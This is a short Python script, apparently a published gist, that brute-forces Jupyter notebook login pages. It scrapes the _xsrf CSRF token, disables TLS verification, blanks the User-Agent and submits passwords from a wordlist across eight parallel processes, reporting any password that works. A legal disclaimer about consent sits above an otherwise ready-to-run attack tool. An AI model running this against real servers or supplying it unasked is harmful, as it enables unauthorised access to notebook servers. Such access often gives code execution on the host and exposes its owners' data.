multiprocessing bruteforce jupyter notebooks

jupyter-brute.py

#!/usr/bin/env python
import re
import requests
import argparse
import multiprocessing as mp
from bs4 import BeautifulSoup
from urllib.parse import urlparse

__author__ = '@dustyfresh'
__license__ = 'https://www.gnu.org/licenses/gpl-3.0.en.html'

__disclaimer__ = '''
Usage of this tool for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program.
'''

# Need to support SSL
def worker(password, target_url, event, verbose=False):
    sesh = requests.session()
    html = sesh.get(target_url, verify=False, headers={'User-Agent': ''}).text
    soup = BeautifulSoup(html, features='html.parser')
    # Grab the CSRF token that we'll need
    _xsrf = soup.find('input', {'name':'_xsrf'})['value']
    r = sesh.post(target_url, data={'_xsrf': _xsrf, 'password': password}, headers={'User-Agent': ''})
    if not event.is_set():
        success = False
        if r.status_code != 200:
            if verbose:
                print('{} is not the password (status: {})'.format(password, r.status_code))
        else:
            print('SUCCESS! {} is the password'.format(password))
            event.set()

def main():
    parser = argparse.ArgumentParser(description='jupyter-brute.py - bruteforce jupyter notebooks')
    parser.add_argument('--list', '-l', type=str, required=True, help='path to passwords list')
    parser.add_argument('--url', '-u', type=str, required=True, help='https://127.0.0.1:8888/login?next=%2Ftree%3F')
    args = parser.parse_args()

    password_list = args.list
    target_url = args.url

    # multiprocessing worker pool based on number of available CPUs
    pool = mp.Pool(8)
    lifeguard = mp.Manager()
    event = lifeguard.Event()

    # List of jobs for our worker pool
    jobs = []

    # Send each job to the worker pool
    for password in open(password_list).read().splitlines():
        jobs.append(pool.apply_async(worker, args=(password, target_url, event,)))

    # Wait for workers to finish jobs
    for job in jobs:
        job.get()

    # close the pool as processing is complete
    pool.close()

    # event waiter
    event.wait()
    pool.terminate() # close the pool if we find the password


if __name__ == '__main__':
    main()